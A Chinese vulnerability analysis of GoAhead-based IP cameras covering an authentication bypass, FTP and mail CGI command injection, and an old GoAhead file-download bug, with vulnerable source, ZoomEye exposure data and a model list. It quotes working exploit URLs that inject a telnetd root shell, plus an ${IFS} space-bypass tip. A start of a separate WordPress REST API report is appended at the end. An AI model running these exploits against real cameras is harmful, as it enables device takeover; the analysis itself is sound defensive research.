2017年3月7日,Seebug漏洞平台收录了一篇基于GoAhead系列摄像头的多个漏洞。事件源于Pierre Kim在博客上发表的一篇文章,披露了存在于1250多个摄像头型号的多个通用型漏洞。作者在文章中将其中一个验证绕过漏洞归类为GoAhead服务器漏洞,但事后证明,该漏洞却是由厂商二次开发GoAhead服务器产生。于此同时,Pierre Kim将其中两个漏洞组合使用,成功获取了摄像头的最高权限。
当我们开始着手分析这些漏洞时发现GoAhead官方源码不存在该漏洞,解开的更新固件无法找到对应程序,一系列困难接踵而至。好在根据该漏洞特殊变量名称loginuse和loginpas,我们在github上找到一个上个月还在修改的门铃项目。抓着这个“新代码”的影子,我们不仅分析出了漏洞原理,还通过分析结果找到了关于此漏洞的新的利用方式。
由于该项目依赖的一些外部环境导致无法正常编译,我们仅仅通过静态代码分析得出结论,因此难免有所疏漏。如有错误,欢迎指正。:)
1 |
作者给出POC: curl http://ip:port/system.ini?loginuse&loginpas |
根据作者给出的POC,我们进行了如下测试:
可以看出,只要url
中含有loginuse
和loginpas
这两个值即无需验证。甚至当这两个值对应的账号密码为空或者为错误的zzzzzzzzzzzzzz
时均可通过验证。
看到这里,我们大致可以判断出验证loginuse
和loginpas
的逻辑问题导致该漏洞的出现。于是,在此门铃项目中直接搜索loginuse
定位到关键函数。
/func/ieparam.c
第6407-6485
行AdjustUserPri
函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 |
unsigned char AdjustUserPri( char* url ) { int iRet; int iRet1; unsigned char byPri = 0; char loginuse[32]; char loginpas[32]; char decoderbuf[128]; char temp2[128]; memset( loginuse, 0x00, 32 ); memset( loginpas, 0x00, 32 ); memset( temp2, 0x00, 128 ); iRet = GetStrParamValue( url, "loginuse", temp2, 31 ); //判断是否存在loginuse值,并将获取到的值赋给temp2 if ( iRet == 0x00 ) { memset( decoderbuf, 0x00, 128 ); URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 ); memset( loginuse, 0x00, 31 ); strcpy( loginuse, decoderbuf ); } //如果存在,则将temp2复制到loginuse数组中 memset( temp2, 0x00, 128 ); iRet1 = GetStrParamValue( url, "loginpas", temp2, 31 ); //判断是否存在loginpas值,并将获取到的值赋给temp2 if ( iRet1 == 0x00 ) { memset( decoderbuf, 0x00, 128 ); URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 ); memset( loginpas, 0x00, 31 ); strcpy( loginpas, decoderbuf ); } //如果存在,则将temp2复制到loginpas数组中 if ( iRet == 0 ) { if ( iRet1 == 0x00 ) { //printf("user %s pwd:%s\n",loginuse,loginpas); byPri = GetUserPri( loginuse, loginpas ); //如果两次都获取到了对应的值,则通过GetUserPri进行验证。 return byPri; } } memset( loginuse, 0x00, 32 ); memset( loginpas, 0x00, 32 ); memset( temp2, 0x00, 128 ); iRet = GetStrParamValue( url, "user", temp2, 31 ); if ( iRet == 0x00 ) { memset( decoderbuf, 0x00, 128 ); URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 ); memset( loginuse, 0x00, 31 ); strcpy( loginuse, decoderbuf ); } memset( temp2, 0x00, 128 ); iRet1 = GetStrParamValue( url, "pwd", temp2, 31 ); if ( iRet1 == 0x00 ) { memset( decoderbuf, 0x00, 128 ); URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 ); memset( loginpas, 0x00, 31 ); strcpy( loginpas, decoderbuf ); } if ( iRet == 0 ) { if ( iRet1 == 0x00 ) { //printf("user %s pwd:%s\n",loginuse,loginpas); byPri = GetUserPri( loginuse, loginpas ); return byPri; } } //获取user和pwd参数,逻辑结构与上方的loginuse和loginpas相同。 return byPri; } |
我们对其中步骤做了注释,根据这段逻辑,我们先通过GetStrParamValue()
获取loginuse
和loginpas
对应值,然后将获取值通过GetUserPri()
函数进行验证。跟进GetStrParamValue()
这个函数,我们发现了更奇怪的事情。command/cmd_thread.c
中第13-51
行GetStrParamValue()
函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
//结合上面代码中的iRet = GetStrParamValue( url, "loginuse", temp2, 31 );审视这段代码 int GetStrParamValue( const char* pszSrc, const char* pszParamName, char* pszParamValue ) { const char* pos1, *pos = pszSrc; unsigned char len = 0; if ( !pszSrc || !pszParamName ) { return -1; } //判断url和需要查找的变量loginuse是否存在 pos1 = strstr( pos, pszParamName ); if ( !pos1 ) { return -1; } //由于url中含有loginuse,所以这里pos1可以取到对应的值,故不进入if(!pos1) pos = pos1 + strlen( pszParamName ) + 1; pos1 = strstr( pos, "&" ); if ( pos1 ) { memcpy( pszParamValue, pos, pos1 - pos ); //根据正常情况loginuse=admin&loginpas=xxx,这一段代码的逻辑是从loginuse后一位也就是等于号开始取值直到&号作为loginuse对应的值。 //根据作者的POC:loginuse&loginpas,最终这里pos应该位于pos1后一位,所以pos1-pos = -1 //memcpy( pszParamValue, pos, -1 );无法运行成功。 len = pos1 - pos; } else { pos1 = strstr( pos, " " ); if ( pos1 != NULL ) { memcpy( pszParamValue, pos, pos1 - pos ); len = pos1 - pos; } } return 0; //不论上述到底如何取值,最终都可以返回0 } |
根据作者给出的PoC
,在memcpy()
函数处会导致崩溃,但事实上,我们的web
服务器正常运行并返回system.ini
具体内容。这一点令我们百思不得其解。当我们对AdjustUserPri()
函数向上溯源时终于弄清楚是上层代码问题导致代码根本无法运行到这里,所以也不会导致崩溃。 func/ieparam.c
文件第7514-7543
行调用了AdjustUserPri()
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
if ( auth == 0x00 ) { char temp[512]; int wlen = 0; if ( len ) { return 0; } #if 0 byPri = AdjustUserPri( url ); printf("url:%s byPri %d\n",url,byPri); if ( byPri == 0x00 ) { memset( temp, 0x00, 512 ); wlen += sprintf( temp + wlen, "var result=\"Auth Failed\";\r\n" ); memcpy( pbuf, temp, wlen ); return wlen; } #else byPri = 255; #endif } else { byPri = pri; } |
在之前跟GetUserPri()
函数时有一行注释://result:0->error user or passwd error 1->vistor 2->opration 255->admin
。当我们回头再看这段函数时,可以发现开发者直接将验证部分注释掉,byPri
被直接赋值为255
,这就意味着只要进入这段逻辑,用户权限就直接是管理员了。这里已经可以解释本小节开篇进行的测试,也就是为什么我们输入空的用户名和密码或者错误的用户名和密码也可以通过验证。
很遗憾,我们没有继续向上溯源找到这里的auth
这个值到底是如何而来。不过根据这里的代码逻辑,我们可以猜测,当auth
为0
时,通过GET请求中的参数
验证用户名密码。当auth
不为0
时,通过HTTP摘要验证方式
来验证用户名密码。
再看一遍上方代码,GET
请求中含有参数loginuse
和loginpas
就直接可以通过验证。那么AdjustUserPri()
函数中另外两个具有相同逻辑的参数user
和pwd
呢?
成功抓住"新代码"的影子。
作者给出的exp如下:
1 2 |
user@kali$ wget -qO- 'http://192.168.1.107/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(telnetd -p25 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0' user@kali$ wget -qO- 'http://192.168.1.107/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin' |
可以看到,该exp
分为两步,第一步先设置ftp
各种参数,第二步按照第一步设置的各参数测试ftp
链接,同时导致我们在第一步设置的命令被执行。
我们在func/ieparam.c
文件中找到了set_ftp.cgi
和ftptest.cgi
的调用过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
383: pdst = strstr( pcmd, "ftptest.cgi" ); 384: 385: if ( pdst != NULL ) 386: { 387: return CGI_IESET_FTPTEST; 388: } 455: pdst = strstr( pcmd, "set_ftp.cgi" ); 456: 457: if ( pdst != NULL ) 458: { 459: return CGI_IESET_FTP; 460: } 7658: case CGI_IESET_FTPTEST: 7659: if ( len == 0x00 ) 7660: { 7661: iRet = cgisetftptest( pbuf, pparam, byPri ); 7662: } 7756: case CGI_IESET_FTP: 7757: if ( len == 0x00 ) 7758: { 7759: iRet = cgisetftp( pbuf, pparam, byPri ); 7760: NoteSaveSem(); 7761: } |
首先跟踪cgisetftp( pbuf, pparam, byPri );
这个函数,我们发现,该函数仅仅是获取到我们请求的参数并将参数赋值给结构体中的各个变量。关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
//这部分代码可以不做细看,下一步我们进行ftp测试连接的时候对照该部分寻找对应的值就可以了。 iRet = GetStrParamValue( pparam, "svr", temp2, 63 ); URLDecode( temp2, strlen( temp2 ), decoderbuf, 63 ); strcpy( bparam.stFtpParam.szFtpSvr, decoderbuf ); GetIntParamValue( pparam, "port", &iValue ); bparam.stFtpParam.nFtpPort = iValue; iRet = GetStrParamValue( pparam, "user", temp2, 31 ); URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 ); strcpy( bparam.stFtpParam.szFtpUser, decoderbuf ); memset( temp2, 0x00, 64 ); iRet = GetStrParamValue( pparam, "pwd", temp2, 31 ); URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 ); strcpy( bparam.stFtpParam.szFtpPwd, decoderbuf ); //我们构造的命名被赋值给了参数bparam.stFtpParam.szFtpPwd iRet = GetStrParamValue( pparam, "dir", temp2, 31 ); URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 ); strcpy( bparam.stFtpParam.szFtpDir, decoderbuf ); if(decoderbuf[0] == 0) { strcpy(bparam.stFtpParam.szFtpDir, "/" ); } GetIntParamValue( pparam, "mode", &iValue ); bparam.stFtpParam.byMode = iValue; GetIntParamValue( pparam, "upload_interval", &iValue ); bparam.stFtpParam.nInterTime = iValue; iRet = GetStrParamValue( pparam, "filename", temp1, 63 ); URLDecode( temp2, strlen( temp2 ), decoderbuf, 63 ); strcpy( bparam.stFtpParam.szFileName, decoderbuf ); |
综上所述,set_ftp.cgi
仅仅是将我们请求的各参数写入全局变量中。 接下来是ftptest.cgi
部分,也就是调用了iRet = cgisetftptest( pbuf, pparam, byPri );
这个函数。在该函数中,最为关键的函数为DoFtpTest();
。直接跳到func/ftp.c
文件中找到函数DoFtpTest()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
int DoFtpTest( void ) { int iRet = 0; iRet = FtpConfig( 0x01, NULL ); if ( iRet == 0 ) { char cmd[128]; memset(cmd, 0, 128); sprintf(cmd, "/tmp/ftpupdate1.sh > %s", FILE_FTP_TEST_RESULT); iRet = DoSystem(cmd); //iRet = DoSystem( "/tmp/ftpupdate1.sh > /tmp/ftpret.txt" ); } return iRet; } |
可以看到,执行 FtpConfig()函数后运行了/tmp/ftpupdate1.sh。我们先看 FtpConfig()函数如何处理该问题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 |
int FtpConfig( char test, char* filename ) { ...... fp = fopen( "/tmp/ftpupdate1.sh", "wb" ); memset( cmd, 0x00, 128 ); sprintf( cmd, "/system/system/bin/ftp -n<<!\n" ); fwrite( cmd, 1, strlen( cmd ), fp ); memset( cmd, 0x00, 128 ); sprintf( cmd, "open %s %d\n", bparam.stFtpParam.szFtpSvr, bparam.stFtpParam.nFtpPort ); fwrite( cmd, 1, strlen( cmd ), fp ); memset( cmd, 0x00, 128 ); sprintf( cmd, "user %s %s\n", bparam.stFtpParam.szFtpUser, bparam.stFtpParam.szFtpPwd ); fwrite( cmd, 1, strlen( cmd ), fp ); memset( cmd, 0x00, 128 ); sprintf( cmd, "binary\n" ); fwrite( cmd, 1, strlen( cmd ), fp ); if ( bparam.stFtpParam.byMode == 1 ) //passive { memset( cmd, 0x00, 128 ); sprintf( cmd, "pass\n" ); fwrite( cmd, 1, strlen( cmd ), fp ); } #ifdef CUSTOM_DIR char sub_temp[ 128 ]; memset(sub_temp, 0, 128); //strcpy(sub_temp, bparam.stFtpParam.szFtpDir); sprintf(sub_temp, "%s/%s", bparam.stFtpParam.szFtpDir,bparam.stIEBaseParam.dwDeviceID); flag = sub_dir(fp,sub_temp); if(flag){ memset( cmd, 0x00, 128 ); sprintf( cmd, "cd %s\n", bparam.stFtpParam.szFtpDir ); fwrite( cmd, 1, strlen( cmd ), fp ); } #else memset( cmd, 0x00, 128 ); sprintf( cmd, "cd %s\n", bparam.stFtpParam.szFtpDir ); fwrite( cmd, 1, strlen( cmd ), fp ); #endif memset( cmd, 0x00, 128 ); sprintf( cmd, "lcd /tmp\n" ); fwrite( cmd, 1, strlen( cmd ), fp ); if ( test == 0x01 ) { FtpFileTest(); memset( cmd, 0x00, 128 ); sprintf( cmd, "put ftptest.txt\n" ); fwrite( cmd, 1, strlen( cmd ), fp ); } else { char filename1[128]; memset( filename1, 0x00, 128 ); memcpy( filename1, filename + 5, strlen( filename ) - 5 ); memset( cmd, 0x00, 128 ); sprintf( cmd, "put %s\n", filename1 ); fwrite( cmd, 1, strlen( cmd ), fp ); } memset( cmd, 0x00, 128 ); sprintf( cmd, "close\n" ); fwrite( cmd, 1, strlen( cmd ), fp ); memset( cmd, 0x00, 128 ); sprintf( cmd, "bye\n" ); fwrite( cmd, 1, strlen( cmd ), fp ); memset( cmd, 0x00, 128 ); sprintf( cmd, "!\n" ); fwrite( cmd, 1, strlen( cmd ), fp ); fclose( fp ); iRet = access( "/tmp/ftpupdate1.sh", X_OK ); if ( iRet ) { DoSystem( "chmod a+x /tmp/ftpupdate1.sh" ); } return 0; } |
至此,逻辑很清晰了。在FtpConfig()
函数中,将我们之前在设置的时候输入的各个值写入了/tmp/ftpupdate1.sh
中,然后在DoFtpTest()
中运行该脚本,导致最后的命令执行。这一点,同样可以在漏洞作者原文中得到证明:
1 2 3 4 5 6 7 8 9 10 11 12 |
作者原文中展示的/tmp/ftpupload.sh: / # cat /tmp/ftpupload.sh /bin/ftp -n<<! open 192.168.1.1 21 user ftp $(telnetd -l /bin/sh -p 25)ftp binary lcd /tmp put ftptest.txt close bye ! / # |
实际测试中,我们发现:如果直接用作者给出的exp去尝试RCE往往无法成功运行。从http://ip:port/get_params.cgi?user=username&pwd=password
可以发现,我们注入的命令在空格处被截断。
于是我们用${IFS}替换空格(还可以采用+
代替空格):
但由于有长度限制再次被截断,调整长度后最终成功执行命令:
成功抓住新代码的影子。
2017年3月9日,Pierre Kim在文章中增加了两个链接,描述了一个GoAhead 2.1.8版本之前的任意文件下载漏洞。攻击者通过使用该漏洞,再结合一个新的远程命令执行漏洞可以再次获取摄像头的最高权限。有意思的是,这个漏洞早在2004年就已被提出并成功修复(http://aluigi.altervista.org/adv/goahead-adv2.txt)。但是由于众多摄像头仍然使用存在该漏洞的老代码,该漏洞仍然可以在众多摄像头设备中复现。
我们也查找了此门铃项目中的GoAhead服务器版本。web/release.txt前三行内容如下:
1 2 3 |
===================================== GoAhead WebServer 2.1.8 Release Notes ===================================== |
再仔细查看websUrlHandlerRequest()
内容,发现并未对该漏洞进行修复,说明该漏洞也影响这个门铃项目。以此类推,本次受影响的摄像头应该也存在这个漏洞,果不其然:
那么,具体的漏洞成因又是如何呢?让我们来跟进./web/LINUX/main.c
了解该漏洞的成因。 initWebs()
函数中,关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 |
154: umOpen(); 157: umAddGroup( T( "adm" ), 0x07, AM_DIGEST, FALSE, FALSE ); 159: umAddUser( admu, admp, T( "adm" ), FALSE, FALSE ); 160: umAddUser( "admin0", "admin0", T( "adm" ), FALSE, FALSE ); 161: umAddUser( "admin1", "admin1", T( "adm" ), FALSE, FALSE ); 162: umAddAccessLimit( T( "/" ), AM_DIGEST, FALSE, T( "adm" ) ); 224: websUrlHandlerDefine( T( "" ), NULL, 0, websSecurityHandler, WEBS_HANDLER_FIRST ); 227: websUrlHandlerDefine( T( "" ), NULL, 0, websDefaultHandler,WEBS_HANDLER_LAST ); |
其中,150-160
中um
开头的函数为用户权限控制的相关函数。主要做了以下四件事情:
1. umOpen()
打开用户权限控制;
2. umAddGroup()
增加用户组adm
,并设置该用户组用户使用HTTP摘要认证方式登录;
3. umAddUser()
增加用户admin
,admin0
,admin1
,并且这三个用户均属于adm
用户组;
4. umAddAccessLimit()
增加限制路径/
,凡是以/
开头的路径都要通过HTTP摘要认证
的方式登录属于adm
组的用户。
紧接着,在220
多行通过websUrlHandlerDefine()
函数运行了两个Handler
,websSecurityHandler
和websDefaultHandler
。在websSecurityHandler
中,对HTTP摘要认证方式
进行处理。关键代码如下:
1 2 3 4 5 6 7 8 |
86: accessLimit = umGetAccessLimit( path ); 115: am = umGetAccessMethodForURL( accessLimit ); 116: nRet = 0; 118-242: if ( ( flags & WEBS_LOCAL_REQUEST ) && ( debugSecurity == 0 ) ){……} 245: return nRet; |
第86行,umGetAccessLimit()
函数用于将我们请求的路径规范化,主要逻辑就是去除路径最后的/
或者\\
,确保我们请求的是一个文件。umGetAccessMethodForURL()
函数用于获取我们请求的路径对应的权限。这里,我们请求的路径是system.ini。
根据上文,设置需要对/
路径需要进行HTTP摘要认证
,由于程序判断system.ini
不属于/
路径,所以这里am
为默认的AM_INVALID,
即无需验证。
紧接着向下,nRet
初始化赋值为0.在118-242
行中,如果出现了账号密码错误等情况,则会将nRet
赋值为1
,表示验证不通过。但是由于我们请求的路径无需验证,所以判断结束时nRet
仍为0
。因此,顺利通过验证,获取到对应的文件内容。
就这样,我们再次抓住了这个“新代码”的影子。这个2004年的漏洞让我们不得不为新代码这三个字加上了双引号。
在Pierre Kim新增的两个链接中,还介绍了一种新的远程命令执行的方式,即通过set_mail.cgi
和mailtest.cgi
来执行命令。 与上一个远程命令执行漏洞一样,我们先在func/ieparam.c
文件中找到set_mail.cgi
和mailtest.cgi
的调用过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
257: pdst = strstr( pcmd, "set_mail.cgi" ); 258: 259: if ( pdst != NULL ) 260: { 261: return CGI_IESET_MAIL; 262: } 348: pdst = strstr( pcmd, "mailtest.cgi" ); 349: 350: if ( pdst != NULL ) 351: { 352: return CGI_IESET_MAILTEST; 353:} 7674: case CGI_IESET_MAILTEST: 7675: if ( len == 0x00 ) 7676: { 7677: iRet = cgisetmailtest( pbuf, pparam, byPri ); 7678: } 7679: 7680: break; 7746: case CGI_IESET_MAIL: 7747: if ( len == 0x00 ) 7748: { 7749: iRet = cgisetmail( pbuf, pparam, byPri ); 7750: IETextout( "-------------OK--------" ); 7751: NoteSaveSem(); 7752: } 7753: 7754: break; |
与上一个远程命令执行漏洞类似,cgisetmail()
函数用于将各参数储存到结构体,例如sender
参数赋值给bparam.stMailParam.szSender
、receiver1
参数赋值给bparam.stMailParam.szReceiver1
。 接着,来到了cgisetmailtest()
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
int cgisetmailtest( unsigned char* pbuf, char* pparam, unsigned char byPri ) { unsigned char temp[2048]; int len = 0; int result = 0; char nexturl[64]; int iRet = 0; memset( temp, 0x00, 2048 ); //iRet = DoMailTest(); if(iRet == 0) { IETextout("Mail send over, OK or Not"); } /* END: Added by Baggio.wu, 2013/10/25 */ memset( nexturl, 0x00, 64 ); iRet = GetStrParamValue( pparam, "next_url", nexturl, 63 ); if ( iRet == 0x00 ) { #if 1 len += RefreshUrl( temp + len, nexturl ); #endif memcpy( pbuf, temp, len ); } else { len += sprintf( temp + len, "var result=\"ok\";\r\n" ); memcpy( pbuf, temp, len ); } printf( "sendmail len:%d\n", len ); return len; } |
该函数第十行已被注释掉。这是使用此函数发送邮件证据的唯一可寻之处。虽然被注释掉了,我们也要继续跟踪DoMailTest()
这个函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
int DoMailTest( void ) //email test { int iRet = -1; char cmd[256]; if ( bparam.stMailParam.szSender[0] == 0 ) { return -1; } if ( bparam.stMailParam.szReceiver1[0] != 0x00 ) { iRet = EmailConfig(); if ( iRet ) { return -1; } memset( cmd, 0x00, 256 ); /* BEGIN: Modified by Baggio.wu, 2013/9/9 */ sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -r %s -s \"mail test\" %s", bparam.stMailParam.szSender, bparam.stMailParam.szReceiver1 ); //sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -v -s \"mail test\" %s", // bparam.stMailParam.szReceiver1 ); printf( "start cmd:%s\n", cmd ); EmailWrite( cmd, strlen( cmd ) ); //emailtest(); printf( "cmd:%s\n", cmd ); } return iRet; } |
可以看到sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -r %s -s \"mail test\" %s",bparam.stMailParam.szSender, bparam.stMailParam.szReceiver1 ),
发件人和收件人都直接被拼接成命令导致最后的命令执行。
ZoomEye网络空间探测引擎
探测结果显示,全球范围内共查询到78
万条历史记录。我们根据这78
万条结果再次进行探测,发现这些设备一共存在三种情况:
web
目录下无 system.ini
,导致最终无法被利用。可以看到,当我们直接请求system.ini
时显示需要认证,但当我们绕过验证之后却显示404 not found
。system.ini
文件。这些设备就存在被入侵的风险。我们统计了最后一种设备的数量。数据显示有近7万
的设备存在被入侵的风险。这7万设备的国家分布图如下:
可以看出,美国、中国、韩国、法国、日本均属于重灾区。我国一共有 7000 多台设备可能被入侵,其中近 6000 台位于香港。我们根据具体数据做成两张柱状图以便查看:
(注:None为属于中国,但未解析出具体地址的IP)
我们通过查询ZoomEye网络空间探测引擎
历史记录导出2016年1月1日、2017年1月1日以及本报告编写日期2017年3月14日三个时间点的数据进行分析。
在这三个时间点,我们分别收录了banner
中含有GoAhead 5ccc069c403ebaf9f0171e9517f40e41
的设备26万台、65万台和78万台。
但对于这些IP而言,存在漏洞的设备增长趋势却完全不同。
可以看到,2016年1月1日已探明的设备中目前仅有2000多台存在漏洞,2017年1月1日之前探明的设备中有近3万台存在漏洞,截至仅仅两个多月后的今天,已有近7万台设备存在漏洞。
根据以上数据,我们可以做出如下判断:该漏洞出现时间大约是去年,直到今年被曝光之后才被大家所关注。在此期间,旧摄像头通过更新有漏洞固件的方式导致该漏洞的出现,而那些新生产的摄像头则被销往世界各地。根据今年新增IP地理位置,我们可以大致判断出这些存在漏洞的摄像头今年被销往何地。
根据数据,我们可以看到,主要销往美国、中国、韩国、日本。中国新增了5316台存在漏洞的摄像头,其中4000多台位于香港。
1.将存在漏洞的摄像头设备置于内网。
2.及时升级到最新固件。
3.对于可能被感染的设备,可以采取重启的方式来杀死驻留在内存中的恶意进程。
3G+IPCam Other |
3SVISION Other |
3com CASA |
3com Other |
3xLogic Other |
3xLogic Radio |
4UCAM Other |
4XEM Other |
555 Other |
7Links 3677 |
7Links 3677-675 |
7Links 3720-675 |
7Links 3720-919 |
7Links IP-Cam-in |
7Links IP-Wi-Fi |
7Links IPC-760HD |
7Links IPC-770HD |
7Links Incam |
7Links Other |
7Links PX-3615-675 |
7Links PX-3671-675 |
7Links PX-3720-675 |
7Links PX3309 |
7Links PX3615 |
7Links ipc-720 |
7Links px-3675 |
7Links px-3719-675 |
7Links px-3720-675 |
A4Tech Other |
ABS Other |
ADT RC8021W |
AGUILERA AQUILERA |
AJT AJT-019129-BBCEF |
ALinking ALC |
ALinking Other |
ALinking dax |
AMC Other |
ANRAN ip180 |
APKLINK Other |
AQUILA AV-IPE03 |
AQUILA AV-IPE04 |
AVACOM 5060 |
AVACOM 5980 |
AVACOM H5060W |
AVACOM NEW |
AVACOM Other |
AVACOM h5060w |
AVACOM h5080w |
Acromedia IN-010 |
Acromedia Other |
Advance Other |
Advanced+home lc-1140 |
Aeoss J6358 |
Aetos 400w |
Agasio A500W |
Agasio A502W |
Agasio A512 |
Agasio A533W |
Agasio A602W |
Agasio A603W |
Agasio Other |
AirLink Other |
Airmobi HSC321 |
Airsight Other |
Airsight X10 |
Airsight X34A |
Airsight X36A |
Airsight XC39A |
Airsight XX34A |
Airsight XX36A |
Airsight XX40A |
Airsight XX60A |
Airsight x10 |
Airsight x10Airsight |
Airsight xc36a |
Airsight xc49a |
Airsight xx39A |
Airsight xx40a |
Airsight xx49a |
Airsight xx51A |
Airsight xx51a |
Airsight xx52a |
Airsight xx59a |
Airsight xx60a |
Akai AK7400 |
Akai SP-T03WP |
Alecto 150 |
Alecto Atheros |
Alecto DVC-125IP |
Alecto DVC-150-IP |
Alecto DVC-1601 |
Alecto DVC-215IP |
Alecto DVC-255-IP |
Alecto dv150 |
Alecto dvc-150ip |
Alfa 0002HD |
Alfa Other |
Allnet 2213 |
Allnet ALL2212 |
Allnet ALL2213 |
Amovision Other |
Android+IP+cam IPwebcam |
Anjiel ip-sd-sh13d |
Apexis AH9063CW |
Apexis APM-H803-WS |
Apexis APM-H804-WS |
Apexis APM-J011 |
Apexis APM-J011-Richard |
Apexis APM-J011-WS |
Apexis APM-J012 |
Apexis APM-J012-WS |
Apexis APM-J0233 |
Apexis APM-J8015-WS |
Apexis GENERIC |
Apexis H |
Apexis HD |
Apexis J |
Apexis Other |
Apexis PIPCAM8 |
Apexis Pyle |
Apexis XF-IP49 |
Apexis apexis |
Apexis apm- |
Apexis dealextreme |
Aquila+Vizion Other |
Area51 Other |
ArmorView Other |
Asagio A622W |
Asagio Other |
Asgari 720U |
Asgari Other |
Asgari PTG2 |
Asgari UIR-G2 |
Atheros ar9285 |
AvantGarde SUMPPLE |
Axis 1054 |
Axis 241S |
B-Qtech Other |
B-Series B-1 |
BRAUN HD-560 |
BRAUN HD505 |
Beaulieu Other |
Bionics Other |
Bionics ROBOCAM |
Bionics Robocam |
Bionics T6892WP |
Bionics t6892wp |
Black+Label B2601 |
Bravolink Other |
Breno Other |
CDR+king APM-J011-WS |
CDR+king Other |
CDR+king SEC-015-C |
CDR+king SEC-016-NE |
CDR+king SEC-028-NE |
CDR+king SEC-029-NE |
CDR+king SEC-039-NE |
CDR+king sec-016-ne |
CDXX Other |
CDXXcamera Any |
CP+PLUS CP-EPK-HC10L1 |
CPTCAM Other |
Camscam JWEV-372869-BCBAB |
Casa Other |
Cengiz Other |
Chinavasion Gunnie |
Chinavasion H30 |
Chinavasion IP611W |
Chinavasion Other |
Chinavasion ip609aw |
Chinavasion ip611w |
Cloud MV1 |
Cloud Other |
CnM IP103 |
CnM Other |
CnM sec-ip-cam |
Compro NC150/420/500 |
Comtac CS2 |
Comtac CS9267 |
Conceptronic CIPCAM720PTIWL |
Conceptronic cipcamptiwl |
Cybernova Other |
Cybernova WIP604 |
Cybernova WIP604MW |
D-Link DCS-910 |
D-Link DCS-930L |
D-Link L-series |
D-Link Other |
DB+Power 003arfu |
DB+Power DBPOWER |
DB+Power ERIK |
DB+Power HC-WV06 |
DB+Power HD011P |
DB+Power HD012P |
DB+Power HD015P |
DB+Power L-615W |
DB+Power LA040 |
DB+Power Other |
DB+Power Other2 |
DB+Power VA-033K |
DB+Power VA0038K |
DB+Power VA003K+ |
DB+Power VA0044_M |
DB+Power VA033K |
DB+Power VA033K+ |
DB+Power VA035K |
DB+Power VA036K |
DB+Power VA038 |
DB+Power VA038k |
DB+Power VA039K |
DB+Power VA039K-Test |
DB+Power VA040 |
DB+Power VA390k |
DB+Power b |
DB+Power b-series |
DB+Power extcams |
DB+Power eye |
DB+Power kiskFirstCam |
DB+Power va033k |
DB+Power va039k |
DB+Power wifi |
DBB IP607W |
DEVICECLIENTQ CNB |
DKSEG Other |
DNT CamDoo |
DVR DVR |
DVS-IP-CAM Other |
DVS-IP-CAM Outdoor/IR |
Dagro DAGRO-003368-JLWYX |
Dagro Other |
Dericam H216W |
Dericam H502W |
Dericam M01W |
Dericam M2/6/8 |
Dericam M502W |
Dericam M601W |
Dericam M801W |
Dericam Other |
Digix Other |
Digoo BB-M2 |
Digoo MM==BB-M2 |
Digoo bb-m2 |
Dinon 8673 |
Dinon 8675 |
Dinon SEGEV-105 |
Dinon segev-103 |
Dome Other |
Drilling+machines Other |
E-Lock 1000 |
ENSIDIO IP102W |
EOpen Open730 |
作者:知道创宇404安全实验室
报告发布日期:2017年02月28日 (注:本文首发自 paper.seebug.org)
PDF 版报告下载:WordPress REST API 内容注入漏洞事件分析报告
English Version:WordPress REST API Content Injection Vulnerability Incident Analysis Report
WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统。在4.7.0版本后,REST API插件的功能被集成到 WordPress 中,由此也引发了一些安全性问题。近日,一个由 REST API 引起的影响 WordPress 4.7.0和4.7.1版本的漏洞被披露,该漏洞可以导致 WordPress 所有文章内容可以未经验证被查看、修改、删除,甚至创建新的文章,危害巨大。
2017年2月11日,知道创宇404安全实验室使用 ZoomEye 网络空间探测引擎进行扫描探测后发现,受该漏洞影响的网站仍然有15361个,其中有9338个网站已经被黑客入侵并留下了组织代号。我们针对组织代号进行统计,共发现八十余种代号。
我们使用 ZoomEye 网络空间搜索引擎搜索 "app:WordPress ver:4.7.1"
,获得36603条结果。以下是 https://www.zoomeye.org/search?t=web&q=app%3AWordPress+ver%3A4.7.1的搜索结果:
导致 WordPress 所有文章内容可以未经验证被查看、修改、删除,甚至创建新的文章,危害巨大。
PoC:
